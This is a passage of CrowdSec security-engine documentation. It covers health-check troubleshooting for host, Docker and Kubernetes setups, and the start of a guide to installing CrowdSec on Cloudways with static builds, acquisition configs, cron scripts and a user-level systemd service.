specified in your Helm values file. **๐Ÿ” To check what's currently installed:** SHCOPY ``` for i in $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=agent -o name); do kubectl exec -n crowdsec -it $i -- cscli collections list; done ``` **๐Ÿ“ฅ Install collections:** Add to your `values.yaml`: YAMLCOPY ``` agent: env: - name: COLLECTIONS value: "crowdsecurity/traefik crowdsecurity/nginx" ``` Then upgrade your Helm release: SHCOPY ``` helm upgrade crowdsec crowdsec/crowdsec -n crowdsec -f values.yaml ``` **โš ๏ธ Log format mismatch:** * If your logs don't follow the expected format (e.g., they've been customized), CrowdSec might not parse them properly. * **Check which log format the Hub parser expects:** * Each parser on the Hub documents the expected log format. For example: * [**NGINX parser** โ†—๏ธ](https://app.crowdsec.net/hub/author/crowdsecurity/log-parsers/nginx-logs) expects the default combined log format * [**Apache parser** โ†—๏ธ](https://app.crowdsec.net/hub/author/crowdsecurity/log-parsers/apache2-logs) expects the standard combined format * Compare your actual log format with the expected format to identify mismatches * **For custom log formats:** * **Example**: If you use a custom NGINX log format like `log_format custom '$remote_addr - $request - $status';`, you'll need a custom parser * Use the [**CrowdSec Playground** โ†—๏ธ](https://playground.crowdsec.net/) to test and develop your parsers interactively * The playground lets you test GROK patterns, parsers, and scenarios in real-time before deploying them * Full guide on creating parsers: [CrowdSec Parser Documentation](https://doc.crowdsec.net/docs/next/log_processor/parsers/format) โš™๏ธ CrowdSec Service Troubleshooting -- is the CrowdSec service running? * On Host * Docker * Kubernetes Let's check if the CrowdSec service is active: SHCOPY ``` sudo systemctl status crowdsec ``` * โ˜‘๏ธ You should see: "**active (running)**" **If the service is not running:** SHCOPY ``` sudo systemctl start crowdsec sudo systemctl enable crowdsec # Ensure it starts on boot ``` **Check logs for errors:** SHCOPY ``` # Start by checking crowdsec logs less /var/log/crowdsec.log # Eventually check systemd journal logs sudo journalctl -u crowdsec -n 50 ``` **Common issues:** * Misconfiguration in `/etc/crowdsec/config.yaml` * Port conflicts (default: 8080 for LAPI, 6060 for metrics) * Insufficient permissions to access log files * Acquisition files format errors Check if the container is running: SHCOPY ``` docker ps | grep crowdsec ``` **If not running, check container logs:** SHCOPY ``` docker logs crowdsec ``` **Make sure your container starts without error** **Common issues:** * **Volume mount errors**: Ensure `/etc/crowdsec/` and `/var/lib/crowdsec/data/` are properly mounted * **Missing data volume**: Since v1.7.0, `/var/lib/crowdsec/data/` must be persisted * **Port conflicts**: Check if 8080 is available on host * **Log access**: Ensure log volumes are correctly mounted and readable * **Environment variables**: Verify `COLLECTIONS` and other env vars are set correctly **Check container status:** SHCOPY ``` docker inspect crowdsec ``` Check if pods are running: SHCOPY ``` kubectl get pods -n crowdsec ``` You should see LAPI and agent pods in `Running` status. **Check pod logs:** SHCOPY ``` # LAPI logs kubectl logs -n crowdsec -l k8s-app=crowdsec -l type=lapi # Agent logs kubectl logs -n crowdsec -l k8s-app=crowdsec -l type=agent ``` **Describe pod for more details:** SHCOPY ``` kubectl describe pod -n crowdsec ``` **Common issues:** * **ConfigMap errors**: Verify configuration is valid SHCOPY ``` kubectl get configmap -n crowdsec ``` * **Resource limits**: Check if pods have sufficient CPU/memory * **Network policies**: Ensure pods can communicate with each other * **PVC issues**: If using persistent volumes, ensure PVCs are bound SHCOPY ``` kubectl get pvc -n crowdsec ``` * **Image pull errors**: Check if the CrowdSec image is accessible, could happen if you have registry conflicts **Upgrade your Helm** SHCOPY ``` helm upgrade crowdsec crowdsec/crowdsec -n crowdsec -f values.yaml ``` ## ๐Ÿ”Œ CrowdSec Connectivity checks[โ€‹](#-crowdsec-connectivity-checks "Direct link to ๐Ÿ”Œ CrowdSec Connectivity checks") ### *Check CAPI status*[โ€‹](#check-capi-status "Direct link to check-capi-status") Let's confirm that your Security Engine can communicate with the CrowdSec Central API (CAPI). This connection allows you to: * Receive **Community Blocklists** -- curated IPs flagged as malicious by the global CrowdSec network. * Receive additional Blocklists of your choice among the ones available to you. * Contribute back -- sharing detected Malicious IPs triggering installed scenarios. ๐Ÿ”Œ CrowdSec Central API connectivity test Check your CAPI connection status: * On Host * Docker * Kubernetes SHCOPY ``` sudo cscli capi status ``` SHCOPY ``` docker exec crowdsec cscli capi status ``` SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- cscli capi status ``` โ˜‘๏ธ You should see: `INFO You can successfully interact with Central API (CAPI)` **Notes:** * On a fresh install, credentials might need to be registered (see troubleshooting below). * The output also shows information about the connectivity config file path and enrollment status with CrowdSec Console. ### Were all the tests successful ?[โ€‹](#were-all-the-tests-successful- "Direct link to Were all the tests successful ?") Were all the tests related to your setup successful? ๐Ÿ‘ If so, you can proceed to the next phase of the health check: [Remediation Check](#-remediation-checks) ๐Ÿ› ๏ธ If not, check the troubleshooting section below. ๐Ÿž Connectivity Troubleshooting If the CAPI status check fails, here are the most common issues and solutions: * On Host * Docker * Kubernetes **Common issues:** * **Missing credentials**: If `online_api_credentials.yaml` is missing: SHCOPY ``` sudo cscli capi register sudo systemctl reload crowdsec ``` * **Firewall blocking**: Ensure outbound network access (API endpoints, blocklists, etc.). See [Network Management](https://docs.crowdsec.net/docs/next/configuration/network_management/) for full requirements * **DNS issues**: Verify DNS resolution works: SHCOPY ``` nslookup api.crowdsec.net ``` * **Proxy configuration**: If behind a proxy, configure in `/etc/crowdsec/config.yaml` **Common issues:** * **No internet from container**: Ensure container can reach external networks SHCOPY ``` docker exec crowdsec ping -c 3 api.crowdsec.net ``` * **Missing credentials**: Register if credentials are missing: SHCOPY ``` docker exec crowdsec cscli capi register docker restart crowdsec ``` * **Volume not persisted**: Ensure `/etc/crowdsec/` volume persists the credentials file * **Network mode**: If using custom networks, verify routing and DNS * **Proxy issues**: Set `HTTP_PROXY` and `HTTPS_PROXY` environment variables if needed **Common issues:** * **No external connectivity**: Test from pod: SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- ping -c 3 api.crowdsec.net ``` * **NetworkPolicy blocking**: Check if NetworkPolicies allow egress to api.crowdsec.net * **DNS issues**: Verify CoreDNS is working correctly * **Proxy configuration**: Configure proxy via environment variables in values.yaml: YAMLCOPY ``` lapi: env: - name: HTTP_PROXY value: "http://proxy:8080" - name: HTTPS_PROXY value: "http://proxy:8080" ``` * **PVC not bound**: If credentials aren't persisting, check PVC status * **Enrollment key**: If using console enrollment, verify `ENROLL_KEY` is set correctly in values.yaml ## โœ‹๐Ÿป Remediation checks[โ€‹](#-remediation-checks "Direct link to โœ‹๐Ÿป Remediation checks") ### *Validate Blocks or Captchas*[โ€‹](#validate-blocks-or-captchas "Direct link to validate-blocks-or-captchas") Now that detection and connectivity are working, letโ€™s verify that your bouncers are correctly applying remediation on malicious IPs. **Prerequisite:**
To apply remediation with CrowdSec, youโ€™ll need a bouncer. Available for firewalls, web servers, reverse proxies, CDNs, cloud WAFs, edge appliances, [and more](https://doc.crowdsec.net/u/bouncers/intro). โœ‹๐Ÿป Bouncer Remediation test This test involves manually creating a **decision** against a public IP of one of your devices for a very short period (1 minute). danger BE CAREFUL -- Risk of Self-Lockout
This procedure will temporarily block your access to the services protected by your bouncer.
Make sure to properly follow the instructions to set the TTL to a low expiration time (1 minute). OR do it from a device with a different public IP address than the client you're using to setup CrowdSec. 1๏ธโƒฃ Find your public IP: SHCOPY ``` curl api.ipify.org ``` 2๏ธโƒฃ Add a ban decision for your IP (valid for 1 minute): * On Host * Docker * Kubernetes SHCOPY ``` sudo cscli decisions add --ip --duration 1m --reason "CrowdSec remediation test" ``` SHCOPY ``` docker exec crowdsec cscli decisions add --ip --duration 1m --reason "CrowdSec remediation test" ``` SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- cscli decisions add --ip --duration 1m --reason "CrowdSec remediation test" ``` โณ *Wait a few seconds to ensure the decision is processed by the bouncer.*
3๏ธโƒฃ Try accessing your service (e.g. website, API). from the same public IP address. โžก๏ธ You should be blocked by the bouncer. returning a forbidden response (HTTP 403) or a captcha challenge. 4๏ธโƒฃ Wait for 1 minute, then check the decisions list to see if the decision has been removed ### Were all the tests successful ?[โ€‹](#were-all-the-tests-successful--1 "Direct link to Were all the tests successful ?") If you were successfully blocked, congratulations! Your remediation setup is working correctly. ๐ŸŽ‰ You might want to continue to the next recommended steps: * Enroll your Security Engine to the [CrowdSec Console](https://docs.crowdsec.net/u/getting_started/post_installation/console.md) * Then subscribe to more blocklists to benefit from additional proactive prevention ๐Ÿž **Remediation Troubleshooting** Before diving into troubleshooting, remember that a remediation components (AKA **bouncer**) is a separate component that connects to the Security Engine and regularly pulls decisions (like bans or captchas) to apply them at its level (firewall, web server, etc.). If remediation isnโ€™t working, itโ€™s often due to issues in this communication loop.
You can find more information about bouncers in the [Bouncers documentation](https://doc.crowdsec.net/docs/next/bouncers/intro). The full list of available bouncers is available on the [CrowdSec Hub โ†—๏ธ](https://app.crowdsec.net/hub/remediation-components). Is your Bouncer Installed and Connected to your Security engine * On Host * Docker * Kubernetes **Check bouncers linked to your Security Engine:** SHCOPY ``` sudo cscli bouncers list ``` **You should see:** * The bouncer name * A โœ“ in the valid column indicating proper registration * A recent `Last API pull` timestamp **Common issues:** * **Bouncer not valid or not pulling**: Check authentication in bouncer config file * **Bouncer not listed**: Register it: SHCOPY ``` sudo cscli bouncers add my-bouncer-name ``` Copy the token and add it to your bouncer's configuration, then restart the bouncer service. * **Bouncer on different machine**: Ensure it can reach the LAPI endpoint (default: `http://crowdsec-server:8080`) * **Firewall blocking**: Verify port 8080 is accessible from bouncer machine **Check bouncers linked to your Security Engine:** SHCOPY ``` docker exec crowdsec cscli bouncers list ``` **Common issues:** * **Bouncer in separate container**: Ensure containers are on the same Docker network * **LAPI URL**: Bouncer config should point to `http://crowdsec:8080` (using container name) * **Register bouncer**: You can pre-create bouncer keys using environment variables: YAMLCOPY ``` environment: BOUNCER_KEY_mybouncer: "my-secret-api-key" ``` * **Network connectivity**: Test from bouncer container: SHCOPY ``` docker exec my-bouncer ping crowdsec ``` **Check bouncers linked to your Security Engine:** SHCOPY ``` kubectl exec -n crowdsec -it $(kubectl get pods -n crowdsec -l k8s-app=crowdsec -l type=lapi -o name) -- cscli bouncers list ``` **Common issues:** * **Service discovery**: Bouncer should connect to `http://crowdsec-service.crowdsec.svc.cluster.local:8080` * **Register bouncer**: SHCOPY ``` # Generate API key with a tool of your choice # Then fill the values.yaml accordingly to dictates the bouncer name and api key use for this communication with LAPI # values.yaml lapi: env: - name: BOUNCER_KEY_ value: "api-key-you-want-this-bouncer-to-use" ``` * **Network policies**: Ensure bouncer namespace can reach crowdsec namespace * **Service accessibility**: Verify the LAPI, named `crowdsec-service` is accessible: SHCOPY ``` kubectl get svc -n crowdsec crowdsec-service ``` **For Ingress Nginx bouncer:** * Ensure the bouncer has the correct LAPI URL in its ConfigMap * Check bouncer logs for connection errors: SHCOPY ``` kubectl logs -n ingress-nginx -l app.kubernetes.io/component=controller ``` ## ๐Ÿ’ฌ Get Help & Give Feedback[โ€‹](#-get-help--give-feedback "Direct link to ๐Ÿ’ฌ Get Help & Give Feedback") * ๐Ÿ“ [Health Check Feedback Form โ†—๏ธ](https://forms.gle/DJboC7oisjmA8qt78) * ๐Ÿ“จ [Open an issue on GitHub โ†—๏ธ](https://github.com/crowdsecurity/crowdsec-docs/issues/new) * ๐Ÿ—ฃ๏ธ [Join us on Discord โ†—๏ธ](https://discord.gg/wGN7ShmEE8) --- # Install CrowdSec on Cloudways New to CrowdSec? Start with the [introduction](https://docs.crowdsec.net/u/getting_started/intro.md) to understand the components and prerequisites. warning ๐Ÿงช This is an experimental way to run CrowdSec on Cloudways. It works well for detection and WordPress-level remediation. Firewall-level remediation is not possible because Cloudways limits user permissions. We hope Cloudways will support firewall remediation in the future. ## Preface[โ€‹](#preface "Direct link to Preface") Cloudways is a managed hosting platform that makes it easy to run websites and apps across multiple cloud providers. It provides SSH access with limited permissions. You can still run the [Security Engine](https://docs.crowdsec.net/docs/next/intro.md) on Cloudways to detect behavior on services like Nginx and Apache, and use our [WordPress plugin](https://docs.crowdsec.net/u/bouncers/wordpress.md) for remediation (including the blocklist feature). This guide is more detailed than others because Cloudways requires extra steps. We'll walk you through these steps: 1. [Install CrowdSec using the static build](#install-crowdsec-from-the-static-build) 2. [Set up acquisition and detection collections](#setup-acquisitions-and-detection-collections) 3. [Run behavior detection on your past logs to see what would have been flagged](#run-a-behavior-detection-on-your-past-logs-to-see-what-it-would-have-found) 4. [Make CrowdSec run as a user-level service](#make-crowdsec-service-run-at-user-level) 5. [Connect it to the WordPress plugin to block detected attackers](#bind-it-to-the-wp-plugin-to-block-the-detected-attackers) ## Install CrowdSec from the static build[โ€‹](#install-crowdsec-from-the-static-build "Direct link to Install CrowdSec from the static build") In this section, you will download the latest static build, set up the directory structure, and create configuration for the Local API and Central API. ### Set up the CrowdSec static build[โ€‹](#set-up-the-crowdsec-static-build "Direct link to Set up the CrowdSec static build") > For this setup we'll put CrowdSec in the */home/master/crowdsec* folder. #### Get the static build[โ€‹](#get-the-static-build "Direct link to Get the static build") * Go to the [latest release page](https://github.com/crowdsecurity/crowdsec/releases/latest) * Scroll down past the changelog, in the **Assets** section copy the link to the **crowdsec-release.tgz** file * Ensure you are in the `/home/master` folder SHCOPY ``` cd /home/master ``` * Download it into `/home/master`, for example: SHCOPY ``` wget https://github.com/crowdsecurity/crowdsec/releases/download/v1.6.3/crowdsec-release.tgz ``` * Extract the archive: SHCOPY ``` tar -xvzf crowdsec-release.tgz ``` * Rename the extracted folder to *crowdsec*: SHCOPY ``` mv crowdsec-v1.6.3 crowdsec ``` #### Create the folder hierarchy[โ€‹](#create-the-folder-hierarchy "Direct link to Create the folder hierarchy") * cd into the *crowdsec* folder: SHCOPY ``` cd crowdsec ``` * Tweak the test\_env script to create the necessary folders and config: SHCOPY ``` sed -i 's|BASE="./tests"|BASE="/home/master/crowdsec"|' test_env.sh ``` * Run the script: SHCOPY ``` ./test_env.sh ``` * Check one config file symlink to make sure the tweak worked: SHCOPY ``` ls -la config/parsers/s00-raw/syslog-logs.yaml ``` Should output *config/parsers/s00-raw/syslog-logs.yaml -> /home/master/crowdsec/config/hub/parsers/s00-raw/crowdsecurity/syslog-logs.yaml* #### Create the config[โ€‹](#create-the-config "Direct link to Create the config") We will use the template config, update a few ports to avoid conflicts, and configure the Local API and Central API. * We'll use the dev.yml template to create our config.yaml: SHCOPY ``` mv dev.yml config.yaml ``` #### Update the configuration[โ€‹](#update-the-configuration "Direct link to Update the configuration") > /home/master/crowdsec/config.yaml We need to edit the config file for this static install, avoid conflicts, and set up the Local API. * First, replace all `./` with `/home/master/crowdsec/` in the `config.yaml` file SHCOPY ``` sed -i 's|./|/home/master/crowdsec/|g' config.yaml ``` Open `/home/master/crowdsec/config.yaml` with your preferred terminal editor and make the following changes: * Update log\_media and add log dir YAMLCOPY ``` common: log_media: file ## Change this from stdout to file log_dir: ./logs ## Add this line, ensure it is indented correctly ``` * Then uncomment and replace the hubdir with the correct path: YAMLCOPY ``` [...] hub_dir: /home/master/crowdsec/config/hub ``` * Finally, change the local API port to 19443 in order to avoid conflicts YAMLCOPY ``` [...] api: server: listen_uri: 127.0.0.1:19443 ``` #### Create quality-of-life aliases[โ€‹](#create-quality-of-life-aliases "Direct link to Create quality-of-life aliases") To make the CLI easier to use, create aliases for `cscli` and `crowdsec` so you do not need full paths each time. * Add the following to your `/home/master/.bash_aliases` file: SHCOPY ``` alias cscli="/home/master/crowdsec/cscli -c /home/master/crowdsec/config.yaml" alias crowdsec="/home/master/crowdsec/crowdsec -c /home/master/crowdsec/config.yaml" ``` * Reload your bash profile: SHCOPY ``` source /home/master/.bashrc ``` #### Initialize CAPI (Central API) credentials[โ€‹](#initialize-capi-central-api-credentials "Direct link to Initialize CAPI (Central API) credentials") Initialize the CAPI credentials with: SHCOPY ``` cscli capi register ``` This will generate `/home/master/crowdsec/config/online_api_credentials.yaml`. Keep this file safe. warning The output will instruct you to restart the service, but we'll do that later. #### Reset LAPI (Local API) credentials[โ€‹](#reset-lapi-local-api-credentials "Direct link to Reset LAPI (Local API) credentials") * Remove the existing machine and create a new one in auto: SHCOPY ``` cscli machines list //ignore the warning it's normal for now ``` * You should see something like this SHCOPY ``` โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Name IP Address Last Update Status Version OS Auth Type Last Heartbeat โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ test 2024-09-12T10:04:52Z โœ”๏ธ ? password โš ๏ธ - โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ``` * Delete the test machine SHCOPY ``` cscli machines delete test_env ``` * Create a new default one with --force to override the existing credentials file SHCOPY ``` cscli machines add my_logprocessor --auto --force ``` * Check that the credential file has the proper port : *cat ./config/local\_api\_credentials.yaml* YAMLCOPY ``` url: http://127.0.0.1 login: my_logprocessor password: 321QSd54QERG321sq54AZEqs45AZDQSd654z65fps ``` ## Setup acquisitions and detection collections[โ€‹](#setup-acquisitions-and-detection-collections "Direct link to Setup acquisitions and detection collections") Acquisition configuration indicates to CrowdSec what log files it should look at.
The Detection collections include parsers config and bad behavior detection scenarios for given services. In our case we'll look at the nginx logs and apache2 logs. * We'll use wildcards to work with any application name of your application folder: ls /home/master/applications * Replace the content of the config/acquis.yaml file (with you editor of choice) with the following: YAMLCOPY ``` filenames: - /home/master/applications/**/logs/nginx_*.log labels: type: nginx --- filenames: - /home/master/applications/**/logs/apache_*.log labels: type: apache2 ``` ### Getting collections[โ€‹](#getting-collections "Direct link to Getting collections") Now we'll install the collections for nginx and apache2.
You can find our catalog on our [Hub](https://hub.crowdsec.net). * Run the following command to install the collections: SHCOPY ``` cscli collections install crowdsecurity/nginx crowdsecurity/apache2 ``` ### Making the collections auto update[โ€‹](#making-the-collections-auto-update "Direct link to Making the collections auto update") CrowdSec collection often get updated with the behavior detections.
CrowdSec teams create and currate community scenarios allowing its users to benefit from the latest vulnerabilities detection. We'll allow hub auto-update with a cron: * Create a hub\_update.sh file in the crowdsec folder: SHCOPY ``` #!/bin/sh test -x /home/master/crowdsec/cscli || exit 0 # splay hub upgrade and crowdsec reload sleep "$(seq 1 300 | shuf -n 1)" /home/master/crowdsec/cscli -c /home/master/crowdsec/config.yaml --error hub update upgraded=$(/home/master/crowdsec/cscli -c /home/master/crowdsec/config.yaml --error hub upgrade) if [ -n "$upgraded" ]; then # Providing env context to the cron job export XDG_RUNTIME_DIR=/run/user/$(id -u) export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/$(id -u)/bus systemctl --user reload crowdsec fi exit 0 ``` * Add it to crontab, every day at 6 for example TEXTCOPY ``` 0 6 * * * sh /home/master/crowdsec/hub_update.sh ``` ### Make sure log rotation not breaking acquisition[โ€‹](#make-sure-log-rotation-not-breaking-acquisition "Direct link to Make sure log rotation not breaking acquisition") As CrowdSec is not running as root in our current context, there could be some race conditions with log rotation file creation making the acquisition fail. Future versions of CrowdSec might address this issue, but for now, we can use a simple script to ensure the acquisition is not broken. * Create a script to ensure the acquisition is not broken SHCOPY ``` vi /home/master/crowdsec/check_rotation.sh ``` SHCOPY ``` #!/bin/sh # Set the path to your CrowdSec log file LOG_FILE="/home/master/crowdsec/logs/crowdsec.log" # Get today's date in the format used in the logs (UTC time) TODAY=$(date -u +"%Y-%m-%d") # Define the error pattern to search for ERROR_PATTERN='level=warning .* died : Unable to open file .*: permission denied' # Search for the error in today's logs if grep "$TODAY" "$LOG_FILE" | grep -qE "$ERROR_PATTERN"; then # Log the action echo "$(date): Error found, restarting CrowdSec service" >> /home/master/crowdsec/logs/crowdsec_rotation_fail.log # Providing env context to the cron job export XDG_RUNTIME_DIR=/run/user/$(id -u) export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/$(id -u)/bus # Restart the CrowdSec service systemctl restart --user crowdsec # Log the completion echo "$(date): CrowdSec service restarted successfully" >> /home/master/crowdsec/logs/crowdsec_rotation_fail.log else # Log that no action was taken echo "$(date): No error found, no action taken" >> /home/master/crowdsec/logs/crowdsec_rotation_fail.log fi ``` Make the check run every day at 00:01 SHCOPY ``` 1 0 * * * sh /home/master/crowdsec/check_rotation.sh ``` ## Run a behavior detection on your past logs to see what it would have found[โ€‹](#run-a-behavior-detection-on-your-past-logs-to-see-what-it-would-have-found "Direct link to Run a behavior detection on your past logs to see what it would have found") We can run the behavior detection on the past logs to catch alerts that happened in the past.
We'll run it on the nginx access logs and the first archive of nginx access logs (previous day) * Run the behavior detection on the past logs: SHCOPY ``` ./crowdsec -c config.yaml -dsn file:///home/master/applications/\*\*/logs/nginx_*.access.log --type nginx --no-api ``` * Note that **dsn** parameter take the **file://**\*/ protocol and an **absolute path** * After you ran the detection, detected alerts should be listed in: SHCOPY ``` cscli alerts list ``` ## Make CrowdSec service run at user level[โ€‹](#make-crowdsec-service-run-at-user-level "Direct link to Make CrowdSec service run at user level") We want CrowdSec to run in the background and start at boot.
For this we'll add a systemd service in the user level. ### Create the systemd service for user[โ€‹](#create-the-systemd-service-for-user "Direct link to Create the systemd service for user") * At the time of writing (for v1.6.3) you can use the following content: * Create and edit \~/.config/systemd/user/crowdsec.service SHCOPY ``` [Unit] Description=Crowdsec agent [Service] WorkingDirectory=/home/master/crowdsec Type=notify Environment=LC_ALL=C LANG=C ExecStartPre=/home/master/crowdsec/crowdsec -c /home/master/crowdsec/config.yaml -t -error ExecStart=/home/master/crowdsec/crowdsec -c /home/master/crowdsec/config.yaml #ExecStartPost=/bin/sleep 0.1 ExecReload=/home/master/crowdsec/crowdsec -c /home/master/crowdsec/config.yaml -t -error ExecReload=/bin/kill -HUP $MAINPID Restart=always RestartSec=60 [Install] WantedBy=multi-user.target ``` * Note that if you want to do it yourself the process is: * Get the service description file from * Move it to the user systemd user folder * Modify this file to have the proper path to crowdsec executable and config ### Enable the service to run at boot[โ€‹](#enable-the-service-to-run-at-boot "Direct link to Enable the service to run at boot") For a user level process to keep running after you close the connection we need to activate the "linger" * Run the following command: SHCOPY ``` loginctl enable-linger ``` * Then have systemctl reload and run crowdsec SHCOPY ``` systemctl --user daemon-reload systemctl --user enable --now crowdsec ``` * Check the status of the service SHCOPY ``` systemctl --user status crowdsec ``` * In the future you can **systemctl --user start crowdsec** or stop or restart ### Checking that CrowdSec works[โ€‹](#checking-that-crowdsec-works "Direct link to Checking that CrowdSec works") We ran a behavior detection on the past logs so we might already have acquisition and parsing metrics. But to check that its working, you can visit your website * It should generate lines of logs * As soon as new log lines arrive in any of those: * You should see the acquisition metrics appear/update * And the resulting parser acquisition and metrics SHCOPY ``` cscli metrics -c config.yaml ``` * looking something like SHCOPY ``` Acquisition Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Source โ”‚ Lines read โ”‚ Lines parsed โ”‚ Lines unparsed โ”‚ Lines poured to bucket โ”‚ Lines whitelisted โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ file:/home/master/applications/abcdefghij/logs/apache_wordpress-1211499-4678369.cloudwaysapps.com.access.log โ”‚ 1 โ”‚ 1 โ”‚ - โ”‚ - โ”‚ - โ”‚ 